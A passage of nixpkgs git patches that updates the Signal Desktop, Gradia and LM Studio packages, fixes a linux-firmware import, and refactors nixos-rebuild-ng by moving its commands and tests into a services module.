index 12d651efd925..d4344a3a30e3 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
@@ -6,11 +6,11 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "signal-desktop-bin";
-  version = "7.58.0";
+  version = "7.59.0";
 
   src = fetchurl {
     url = "https://updates.signal.org/desktop/signal-desktop-mac-universal-${finalAttrs.version}.dmg";
-    hash = "sha256-yOPYG9bCSCIE1L8RgEXCy6pJUHONBh9SpPY4WDfZEho=";
+    hash = "sha256-maBZqSklxa1Vg3U6xbQxYx+McPTWa4WdBCKh4tq6W4g=";
   };
   sourceRoot = ".";
 

From 144dbfd4ac977dbda923d4994832b8647d378bca Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Sun, 22 Jun 2025 23:14:56 +0200
Subject: [PATCH 1773/4511] gradia: 1.4.3 -> 1.5.0

(cherry picked from commit de821d168fb40fc19f7eb05304386c33fbf13ee0)
---
 pkgs/by-name/gr/gradia/package.nix | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/gradia/package.nix b/pkgs/by-name/gr/gradia/package.nix
index 4b1bfb819231..1e155aed6876 100644
--- a/pkgs/by-name/gr/gradia/package.nix
+++ b/pkgs/by-name/gr/gradia/package.nix
@@ -9,19 +9,23 @@
   gobject-introspection,
   wrapGAppsHook4,
   blueprint-compiler,
+  pkg-config,
   libadwaita,
   libportal-gtk4,
+  gnome,
+  librsvg,
+  libavif,
 }:
 python3Packages.buildPythonApplication rec {
   pname = "gradia";
-  version = "1.4.3";
+  version = "1.5.0";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "AlexanderVanhee";
     repo = "Gradia";
     tag = "v${version}";
-    hash = "sha256-cH8aL1nvDNAnvN+TYAtGez5Ot5DmwpmxugBPS36rY+Q=";
+    hash = "sha256-IamiF3mn3rVmDJrEOl0Ji+7muo8e8kunOxAZJTBNjM8=";
   };
 
   nativeBuildInputs = [
@@ -32,6 +36,7 @@ python3Packages.buildPythonApplication rec {
     gobject-introspection
     wrapGAppsHook4
     blueprint-compiler
+    pkg-config
   ];
 
   buildInputs = [
@@ -44,6 +49,17 @@ python3Packages.buildPythonApplication rec {
     pillow
   ];
 
+  postInstall = ''
+    export GDK_PIXBUF_MODULE_FILE="${
+      gnome._gdkPixbufCacheBuilder_DO_NOT_USE {
+        extraLoaders = [
+          librsvg
+          libavif
+        ];
+      }
+    }"
+  '';
+
   dontWrapGApps = true;
 
   makeWrapperArgs = [ "\${gappsWrapperArgs[@]}" ];

From 88b89aab170e528c5d1564ead2414ffeb8e41eb1 Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Sun, 29 Jun 2025 02:42:47 -0500
Subject: [PATCH 1774/4511] lmstudio: 0.3.16.8 -> 0.3.17.11

(cherry picked from commit c8a1b81fa6f9a041df8920323dafbdb30193678b)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index bc8efbcf03d1..5e4b95ac8c51 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.16-8";
-  hash_aarch64-darwin = "sha256-iuC43czK26Yf4DM9BhUUBjgDilQeURq+ZdeN2BHPeVo=";
-  version_x86_64-linux = "0.3.16-8";
-  hash_x86_64-linux = "sha256-vouDzaSgkYN++FKz0tLn9ItHg0tQmnFk2U7RlQyAUWg=";
+  version_aarch64-darwin = "0.3.17-11";
+  hash_aarch64-darwin = "sha256-z3QkWwzYrHw3l8Qm+FfnrfdtfhdpkLo67XTE/t2ji5Y=";
+  version_x86_64-linux = "0.3.17-11";
+  hash_x86_64-linux = "sha256-CCsGkhh5OSAhyt2CHKIEIh5OzllRWxm6ERuGqQW/0JE=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From ce223fe54a1eb788b26395779904d05720426db0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 29 Jun 2025 11:46:22 +0200
Subject: [PATCH 1775/4511] linux-firmware: fix eval

---
 pkgs/by-name/li/linux-firmware/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/linux-firmware/package.nix b/pkgs/by-name/li/linux-firmware/package.nix
index 48ab69d04c4d..9b9ec6206956 100644
--- a/pkgs/by-name/li/linux-firmware/package.nix
+++ b/pkgs/by-name/li/linux-firmware/package.nix
@@ -1,6 +1,6 @@
 {
   stdenvNoCC,
-  fetchzip,
+  fetchFromGitLab,
   lib,
   python3,
   rdfind,

From 9988fb2d8842ad73d27450a3e75bc2edbea4f5a6 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 20:21:23 +0100
Subject: [PATCH 1776/4511] nixos-rebuild-ng: move list_generations to
 services.py

(cherry picked from commit b633b75cc9caff79499425776619dbba1c4e8cf2)
---
 .../src/nixos_rebuild/__init__.py             | 20 +++-------------
 .../src/nixos_rebuild/services.py             | 23 ++++++++++++++++++-
 2 files changed, 25 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index a72750f516e3..f2a1fe8caade 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -1,5 +1,4 @@
 import argparse
-import json
 import logging
 import os
 import sys
@@ -10,8 +9,8 @@ from . import nix
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
 from .models import Action, BuildAttr, Flake, Profile
 from .process import Remote
-from .services import build_and_activate_system, reexec
-from .utils import LogFormatter, tabulate
+from .services import build_and_activate_system, list_generations, reexec
+from .utils import LogFormatter
 
 logger: Final = logging.getLogger(__name__)
 logger.setLevel(logging.INFO)
@@ -349,20 +348,7 @@ def execute(argv: list[str]) -> None:
             raise AssertionError("DRY_RUN should be a DRY_BUILD alias")
 
         case Action.LIST_GENERATIONS:
-            generations = nix.list_generations(profile)
-            if args.json:
-                print(json.dumps(generations, indent=2))
-            else:
-                headers = {
-                    "generation": "Generation",
-                    "date": "Build-date",
-                    "nixosVersion": "NixOS version",
-                    "kernelVersion": "Kernel",
-                    "configurationRevision": "Configuration Revision",
-                    "specialisations": "Specialisation",
-                    "current": "Current",
-                }
-                print(tabulate(generations, headers=headers))
+            list_generations(args, profile)
 
         case Action.REPL:
             if flake:
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index 8826bbf61ad6..5c69254e27ce 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -1,4 +1,5 @@
 import argparse
+import json
 import logging
 import os
 import sys
@@ -10,7 +11,7 @@ from . import nix, tmpdir
 from .constants import EXECUTABLE
 from .models import Action, BuildAttr, Flake, ImageVariants, NixOSRebuildError, Profile
 from .process import Remote, cleanup_ssh
-from .utils import Args
+from .utils import Args, tabulate
 
 NIXOS_REBUILD_ATTR: Final = "config.system.build.nixos-rebuild"
 
@@ -315,3 +316,23 @@ def build_and_activate_system(
         common_flags=common_flags,
         flake_common_flags=flake_common_flags,
     )
+
+
+def list_generations(
+    args: argparse.Namespace,
+    profile: Profile,
+) -> None:
+    generations = nix.list_generations(profile)
+    if args.json:
+        print(json.dumps(generations, indent=2))
+    else:
+        headers = {
+            "generation": "Generation",
+            "date": "Build-date",
+            "nixosVersion": "NixOS version",
+            "kernelVersion": "Kernel",
+            "configurationRevision": "Configuration Revision",
+            "specialisations": "Specialisation",
+            "current": "Current",
+        }
+        print(tabulate(generations, headers=headers))

From ae46cf5653b4195c1466ae6511504819adef7337 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 20:24:51 +0100
Subject: [PATCH 1777/4511] nixos-rebuild-ng: move {repl,repl_flake} to
 services.py

(cherry picked from commit ccade214e363a53b2f93c6729175904811884b75)
---
 .../nixos-rebuild-ng/src/nixos_rebuild/__init__.py | 14 ++++++++------
 .../nixos-rebuild-ng/src/nixos_rebuild/services.py | 12 ++++++++++++
 2 files changed, 20 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index f2a1fe8caade..0ee81740e732 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -9,7 +9,7 @@ from . import nix
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
 from .models import Action, BuildAttr, Flake, Profile
 from .process import Remote
-from .services import build_and_activate_system, list_generations, reexec
+from .services import build_and_activate_system, list_generations, reexec, repl
 from .utils import LogFormatter
 
 logger: Final = logging.getLogger(__name__)
@@ -348,13 +348,15 @@ def execute(argv: list[str]) -> None:
             raise AssertionError("DRY_RUN should be a DRY_BUILD alias")
 
         case Action.LIST_GENERATIONS:
-            list_generations(args, profile)
+            list_generations(args=args, profile=profile)
 
         case Action.REPL:
-            if flake:
-                nix.repl_flake(flake, flake_build_flags)
-            else:
-                nix.repl(build_attr, build_flags)
+            repl(
+                flake=flake,
+                build_attr=build_attr,
+                flake_build_flags=flake_build_flags,
+                build_flags=build_flags,
+            )
 
         case _:
             assert_never(action)
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index 5c69254e27ce..f0e5c61d07f9 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -336,3 +336,15 @@ def list_generations(
             "current": "Current",
         }
         print(tabulate(generations, headers=headers))
+
+
+def repl(
+    flake: Flake | None,
+    build_attr: BuildAttr,
+    flake_build_flags: Args,
+    build_flags: Args,
+) -> None:
+    if flake:
+        nix.repl_flake(flake, flake_build_flags)
+    else:
+        nix.repl(build_attr, build_flags)

From fa0e5c6a4d48c5393731fa4d7671766efec115ec Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 20:30:54 +0100
Subject: [PATCH 1778/4511] nixos-rebuild-ng: move edit to services.py

(cherry picked from commit cb1adbc4ac77b84d801e8fe1f51623fbfac5fec9)
---
 .../src/nixos_rebuild/__init__.py             | 10 +++-
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py | 50 +++++++++----------
 .../src/nixos_rebuild/services.py             |  7 +++
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py | 27 +++++-----
 4 files changed, 54 insertions(+), 40 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 0ee81740e732..b348e911301a 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -9,7 +9,13 @@ from . import nix
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
 from .models import Action, BuildAttr, Flake, Profile
 from .process import Remote
-from .services import build_and_activate_system, list_generations, reexec, repl
+from .services import (
+    build_and_activate_system,
+    edit,
+    list_generations,
+    reexec,
+    repl,
+)
 from .utils import LogFormatter
 
 logger: Final = logging.getLogger(__name__)
@@ -342,7 +348,7 @@ def execute(argv: list[str]) -> None:
             )
 
         case Action.EDIT:
-            nix.edit(flake, flake_build_flags)
+            edit(flake, flake_build_flags)
 
         case Action.DRY_RUN:
             raise AssertionError("DRY_RUN should be a DRY_BUILD alias")
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 513c5e43e1a4..3cee183c96b1 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -242,33 +242,33 @@ def copy_closure(
                 nix_copy_closure(to_host, to=True)
 
 
-def edit(flake: Flake | None, flake_flags: Args | None = None) -> None:
+def edit() -> None:
     "Try to find and open NixOS configuration file in editor."
-    if flake:
-        run_wrapper(
-            [
-                "nix",
-                *FLAKE_FLAGS,
-                "edit",
-                *dict_to_flags(flake_flags),
-                "--",
-                str(flake),
-            ],
-            check=False,
-        )
-    else:
-        if flake_flags:
-            raise NixOSRebuildError("'edit' does not support extra Nix flags")
-        nixos_config = Path(
-            os.getenv("NIXOS_CONFIG") or find_file("nixos-config") or "/etc/nixos"
-        )
-        if nixos_config.is_dir():
-            nixos_config /= "default.nix"
+    nixos_config = Path(
+        os.getenv("NIXOS_CONFIG") or find_file("nixos-config") or "/etc/nixos"
+    )
+    if nixos_config.is_dir():
+        nixos_config /= "default.nix"
 
-        if nixos_config.exists():
-            run_wrapper([os.getenv("EDITOR", "nano"), nixos_config], check=False)
-        else:
-            raise NixOSRebuildError("cannot find NixOS config file")
+    if nixos_config.exists():
+        run_wrapper([os.getenv("EDITOR", "nano"), nixos_config], check=False)
+    else:
+        raise NixOSRebuildError("cannot find NixOS config file")
+
+
+def edit_flake(flake: Flake | None, flake_flags: Args | None = None) -> None:
+    "Try to find and open NixOS configuration file in editor for Flake config."
+    run_wrapper(
+        [
+            "nix",
+            *FLAKE_FLAGS,
+            "edit",
+            *dict_to_flags(flake_flags),
+            "--",
+            str(flake),
+        ],
+        check=False,
+    )
 
 
 def find_file(file: str, nix_flags: Args | None = None) -> Path | None:
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index f0e5c61d07f9..668aac7fdc92 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -318,6 +318,13 @@ def build_and_activate_system(
     )
 
 
+def edit(flake: Flake | None, flake_flags: Args | None = None) -> None:
+    if flake:
+        nix.edit_flake(flake, flake_flags)
+    else:
+        nix.edit()
+
+
 def list_generations(
     args: argparse.Namespace,
     profile: Profile,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index a8f00fbfc8a6..30ca2ffb5da9 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -295,9 +295,21 @@ def test_copy_closure(monkeypatch: MonkeyPatch) -> None:
 
 @patch(get_qualified_name(n.run_wrapper, n), autospec=True)
 def test_edit(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
-    # Flake
+    with monkeypatch.context() as mp:
+        default_nix = tmpdir / "default.nix"
+        default_nix.write_text("{}", encoding="utf-8")
+
+        mp.setenv("NIXOS_CONFIG", str(tmpdir))
+        mp.setenv("EDITOR", "editor")
+
+        n.edit()
+        mock_run.assert_called_with(["editor", default_nix], check=False)
+
+
+@patch(get_qualified_name(n.run_wrapper, n), autospec=True)
+def test_editd_flake(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
     flake = m.Flake.parse(f"{tmpdir}#attr")
-    n.edit(flake, {"commit_lock_file": True})
+    n.edit_flake(flake, {"commit_lock_file": True})
     mock_run.assert_called_with(
         [
             "nix",
@@ -311,17 +323,6 @@ def test_edit(mock_run: Mock, monkeypatch: MonkeyPatch, tmpdir: Path) -> None:
         check=False,
     )
 
-    # Classic
-    with monkeypatch.context() as mp:
-        default_nix = tmpdir / "default.nix"
-        default_nix.write_text("{}", encoding="utf-8")
-
-        mp.setenv("NIXOS_CONFIG", str(tmpdir))
-        mp.setenv("EDITOR", "editor")
-
-        n.edit(None)
-        mock_run.assert_called_with(["editor", default_nix], check=False)
-
 
 @patch(
     get_qualified_name(n.run_wrapper, n),

From 78907d48b2f352cbf5a5cbe26cae74de8cbdff2c Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 20:39:22 +0100
Subject: [PATCH 1779/4511] nixos-rebuild-ng: move write version suffix logic
 to services.py

(cherry picked from commit 016cbd957e3d886d4d2b31ce99e261e1a83931c5)
---
 .../ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py |  8 +++-----
 .../ni/nixos-rebuild-ng/src/nixos_rebuild/services.py | 11 +++++++++--
 2 files changed, 12 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index b348e911301a..f7980a8480d0 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -15,6 +15,7 @@ from .services import (
     list_generations,
     reexec,
     repl,
+    write_version_suffix,
 )
 from .utils import LogFormatter
 
@@ -315,10 +316,7 @@ def execute(argv: list[str]) -> None:
     flake = Flake.from_arg(args.flake, target_host)
 
     if can_run and not flake:
-        nixpkgs_path = nix.find_file("nixpkgs", build_flags)
-        rev = nix.get_nixpkgs_rev(nixpkgs_path)
-        if nixpkgs_path and rev:
-            (nixpkgs_path / ".version-suffix").write_text(rev)
+        write_version_suffix(build_flags)
 
     match action:
         case (
@@ -348,7 +346,7 @@ def execute(argv: list[str]) -> None:
             )
 
         case Action.EDIT:
-            edit(flake, flake_build_flags)
+            edit(flake=flake, flake_build_flags=flake_build_flags)
 
         case Action.DRY_RUN:
             raise AssertionError("DRY_RUN should be a DRY_BUILD alias")
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
index 668aac7fdc92..5261a453fc57 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/services.py
@@ -318,9 +318,9 @@ def build_and_activate_system(
     )
 
 
-def edit(flake: Flake | None, flake_flags: Args | None = None) -> None:
+def edit(flake: Flake | None, flake_build_flags: Args | None = None) -> None:
     if flake:
-        nix.edit_flake(flake, flake_flags)
+        nix.edit_flake(flake, flake_build_flags)
     else:
         nix.edit()
 
@@ -355,3 +355,10 @@ def repl(
         nix.repl_flake(flake, flake_build_flags)
     else:
         nix.repl(build_attr, build_flags)
+
+
+def write_version_suffix(build_flags: Args) -> None:
+    nixpkgs_path = nix.find_file("nixpkgs", build_flags)
+    rev = nix.get_nixpkgs_rev(nixpkgs_path)
+    if nixpkgs_path and rev:
+        (nixpkgs_path / ".version-suffix").write_text(rev)

From 30ab8e85ac09c56050264e2b361236496453dc42 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 21:13:50 +0100
Subject: [PATCH 1780/4511] nixos-rebuild-ng: disable test that times out in
 @ofborg

(cherry picked from commit afab9af94676502966785b252bad88bd2ee64d48)
---
 pkgs/by-name/ni/nixos-rebuild-ng/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
index 955ba82e420f..423e33b0afdc 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/package.nix
@@ -133,7 +133,8 @@ python3Packages.buildPythonApplication rec {
         };
 
         inherit (nixosTests)
-          nixos-rebuild-install-bootloader-ng
+          # FIXME: this test is disabled since it times out in @ofborg
+          # nixos-rebuild-install-bootloader-ng
           nixos-rebuild-specialisations-ng
           nixos-rebuild-target-host-ng
           ;

From d9c9a1efcb56b4f454ff94230c55bb1bac7002b9 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sat, 28 Jun 2025 21:26:56 +0100
Subject: [PATCH 1781/4511] nixos-rebuild-ng: use namespaced imports for
 services

(cherry picked from commit c2ba67afb0f8ad55067d8410ee91372d936543a6)
---
 .../src/nixos_rebuild/__init__.py             | 22 ++---
 .../nixos-rebuild-ng/src/tests/test_main.py   | 87 -----------------
 .../src/tests/test_services.py                | 96 +++++++++++++++++++
 3 files changed, 103 insertions(+), 102 deletions(-)
 create mode 100644 pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_services.py

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index f7980a8480d0..0e7cf61b00a4 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -5,18 +5,10 @@ import sys
 from subprocess import CalledProcessError, run
 from typing import Final, assert_never
 
-from . import nix
+from . import nix, services
 from .constants import EXECUTABLE, WITH_NIX_2_18, WITH_REEXEC, WITH_SHELL_FILES
 from .models import Action, BuildAttr, Flake, Profile
 from .process import Remote
-from .services import (
-    build_and_activate_system,
-    edit,
-    list_generations,
-    reexec,
-    repl,
-    write_version_suffix,
-)
 from .utils import LogFormatter
 
 logger: Final = logging.getLogger(__name__)
@@ -307,7 +299,7 @@ def execute(argv: list[str]) -> None:
         and not args.no_reexec
         and not os.environ.get("_NIXOS_REBUILD_REEXEC")
     ):
-        reexec(argv, args, build_flags, flake_build_flags)
+        services.reexec(argv, args, build_flags, flake_build_flags)
 
     profile = Profile.from_arg(args.profile_name)
     target_host = Remote.from_arg(args.target_host, args.ask_sudo_password)
@@ -316,7 +308,7 @@ def execute(argv: list[str]) -> None:
     flake = Flake.from_arg(args.flake, target_host)
 
     if can_run and not flake:
-        write_version_suffix(build_flags)
+        services.write_version_suffix(build_flags)
 
     match action:
         case (
@@ -330,7 +322,7 @@ def execute(argv: list[str]) -> None:
             | Action.BUILD_VM
             | Action.BUILD_VM_WITH_BOOTLOADER
         ):
-            build_and_activate_system(
+            services.build_and_activate_system(
                 action=action,
                 args=args,
                 build_host=build_host,
@@ -346,16 +338,16 @@ def execute(argv: list[str]) -> None:
             )
 
         case Action.EDIT:
-            edit(flake=flake, flake_build_flags=flake_build_flags)
+            services.edit(flake=flake, flake_build_flags=flake_build_flags)
 
         case Action.DRY_RUN:
             raise AssertionError("DRY_RUN should be a DRY_BUILD alias")
 
         case Action.LIST_GENERATIONS:
-            list_generations(args=args, profile=profile)
+            services.list_generations(args=args, profile=profile)
 
         case Action.REPL:
-            repl(
+            services.repl(
                 flake=flake,
                 build_attr=build_attr,
                 flake_build_flags=flake_build_flags,
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
index 425997aa82b1..52aa00ccf5c5 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_main.py
@@ -8,7 +8,6 @@ from typing import Any
 from unittest.mock import ANY, Mock, call, patch
 
 import pytest
-from pytest import MonkeyPatch
 
 import nixos_rebuild as nr
 from nixos_rebuild.constants import WITH_NIX_2_18
@@ -128,92 +127,6 @@ def test_parse_args() -> None:
     ]
 
 
-@patch.dict(os.environ, {}, clear=True)
-@patch("os.execve", autospec=True)
-@patch(get_qualified_name(nr.nix.build), autospec=True)
-def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -> None:
-    monkeypatch.setattr(nr.services, "EXECUTABLE", "nixos-rebuild-ng")
-    argv = ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"]
-    args, _ = nr.parse_args(argv)
-    mock_build.return_value = Path("/path")
-
-    nr.reexec(argv, args, {"build": True}, {"flake": True})
-    mock_build.assert_has_calls(
-        [
-            call(
-                nr.services.NIXOS_REBUILD_ATTR,
-                nr.models.BuildAttr(ANY, ANY),
-                {"build": True, "no_out_link": True},
-            )
-        ]
-    )
-    # do not exec if there is no new version
-    mock_execve.assert_not_called()
-
-    mock_build.return_value = Path("/path/new")
-
-    nr.reexec(argv, args, {}, {})
-    # exec in the new version successfully
-    mock_execve.assert_called_once_with(
-        Path("/path/new/bin/nixos-rebuild-ng"),
-        ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"],
-        {"_NIXOS_REBUILD_REEXEC": "1"},
-    )
-
-    mock_execve.reset_mock()
-    mock_execve.side_effect = [OSError("BOOM"), None]
-
-    nr.reexec(argv, args, {}, {})
-    # exec in the previous version if the new version fails
-    mock_execve.assert_any_call(
-        Path("/path/bin/nixos-rebuild-ng"),
-        ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"],
-        {"_NIXOS_REBUILD_REEXEC": "1"},
-    )
-
-
-@patch.dict(os.environ, {}, clear=True)
-@patch("os.execve", autospec=True)
-@patch(get_qualified_name(nr.nix.build_flake), autospec=True)
-def test_reexec_flake(
-    mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch
-) -> None:
-    monkeypatch.setattr(nr.services, "EXECUTABLE", "nixos-rebuild-ng")
-    argv = ["/path/bin/nixos-rebuild-ng", "switch", "--flake"]
-    args, _ = nr.parse_args(argv)
-    mock_build.return_value = Path("/path")
-
-    nr.reexec(argv, args, {"build": True}, {"flake": True})
-    mock_build.assert_called_once_with(
-        nr.services.NIXOS_REBUILD_ATTR,
-        nr.models.Flake(ANY, ANY),
-        {"flake": True, "no_link": True},
-    )
-    # do not exec if there is no new version
-    mock_execve.assert_not_called()
-
-    mock_build.return_value = Path("/path/new")
-
-    nr.reexec(argv, args, {}, {})
-    # exec in the new version successfully
-    mock_execve.assert_called_once_with(
-        Path("/path/new/bin/nixos-rebuild-ng"),
-        ["/path/bin/nixos-rebuild-ng", "switch", "--flake"],
-        {"_NIXOS_REBUILD_REEXEC": "1"},
-    )
-
-    mock_execve.reset_mock()
-    mock_execve.side_effect = [OSError("BOOM"), None]
-
-    nr.reexec(argv, args, {}, {})
-    # exec in the previous version if the new version fails
-    mock_execve.assert_any_call(
-        Path("/path/bin/nixos-rebuild-ng"),
-        ["/path/bin/nixos-rebuild-ng", "switch", "--flake"],
-        {"_NIXOS_REBUILD_REEXEC": "1"},
-    )
-
-
 @patch.dict(
     os.environ,
     {"NIXOS_REBUILD_I_UNDERSTAND_THE_CONSEQUENCES_PLEASE_BREAK_MY_SYSTEM": "1"},
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_services.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_services.py
new file mode 100644
index 000000000000..15907f21fe3c
--- /dev/null
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_services.py
@@ -0,0 +1,96 @@
+import os
+from pathlib import Path
+from unittest.mock import ANY, Mock, call, patch
+
+from pytest import MonkeyPatch
+
+import nixos_rebuild as n
+import nixos_rebuild.services as s
+
+from .helpers import get_qualified_name
+
+
+@patch.dict(os.environ, {}, clear=True)
+@patch("os.execve", autospec=True)
+@patch(get_qualified_name(s.nix.build), autospec=True)
+def test_reexec(mock_build: Mock, mock_execve: Mock, monkeypatch: MonkeyPatch) -> None:
+    monkeypatch.setattr(s, "EXECUTABLE", "nixos-rebuild-ng")
+    argv = ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"]
+    args, _ = n.parse_args(argv)
+    mock_build.return_value = Path("/path")
+
+    s.reexec(argv, args, {"build": True}, {"flake": True})
+    mock_build.assert_has_calls(
+        [
+            call(
+                s.NIXOS_REBUILD_ATTR,
+                n.models.BuildAttr(ANY, ANY),
+                {"build": True, "no_out_link": True},
+            )
+        ]
+    )
+    # do not exec if there is no new version
+    mock_execve.assert_not_called()
+
+    mock_build.return_value = Path("/path/new")
+
+    s.reexec(argv, args, {}, {})
+    # exec in the new version successfully
+    mock_execve.assert_called_once_with(
+        Path("/path/new/bin/nixos-rebuild-ng"),
+        ["/path/bin/nixos-rebuild-ng", "switch", "--no-flake"],
+        {"_NIXOS_REBUILD_REEXEC": "1"},
+    )
+
+    mock_execve.reset_mock()
